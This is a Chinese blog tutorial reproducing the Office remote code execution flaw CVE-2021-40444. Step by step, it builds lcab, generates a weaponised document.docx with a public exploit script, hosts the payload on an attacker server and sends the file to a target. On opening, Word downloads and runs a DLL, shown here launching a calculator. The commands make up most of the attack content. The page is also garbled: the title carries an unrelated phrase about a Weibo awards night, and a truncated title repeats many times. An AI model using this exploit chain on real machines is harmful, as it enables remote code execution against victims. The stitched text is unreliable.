2021年的word文档还有漏洞，Office 1day CVE-2021-40444复现(2021年的微博之夜的king和queen是谁)

陈鹏羽 • • 教程分享

本文的标题是《2021年的word文档还有漏洞，Office 1day CVE-2021-40444复现》来源于：由作者：陈鹏羽采编而成，主要讲述了项目地址在https://github.com/lo

项目地址在https://github.com/lockedbyte/CVE-2021-40444。先下载到kali里。

由于此项目必须使用lcab，所以我们先在kail里安装一下。

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make
sudo make install
which lcab
# 查看帮助信息
lcab –help


021年的word文档还有漏洞，Office


021年的word文档还有漏洞，Office


021年的word文档还有漏洞，Office


021年的word文档还有漏洞，Office

进入下载后的CVE-2021-40444目录里，执行：

python3 exploit.py generate test/calc.dll http://<SRV IP>:3333


021年的word文档还有漏洞，Office

看见“You can execute now the server and then send document.docx to target” 说明就可以了。

然后用python开一个http服务，端口用刚刚设置的3333 或者自己设置的端口号。

sudo python3 exploit.py host 3333


021年的word文档还有漏洞，Office

把CVE-2021-40444目录里的子目录out下的document.docx文件copy到虚拟机中执行。

word打开后，可以看见这里在下载我们kali上的html文件。


021年的word文档还有漏洞，Office


html又会下载calc.cab 文件执行其中的命令，最后弹出计算器。


021年的word文档还有漏洞，Office

服务端显示的结果：


021年的word文档还有漏洞，Office

021年的word文档还有漏洞，Office
本文原作者为陈鹏羽，转载请注明：出处！如该文有不妥之处，请联系站长删除，谢谢合作~

原创文章，作者：陈鹏羽，如若转载，请注明出处：http://www.kaicen.cn/20220512315602.html

赞 (0)
陈鹏羽陈鹏羽
0
上一篇 2022年5月12日 pm4:17
下一篇 2022年5月12日 pm4:17

相关推荐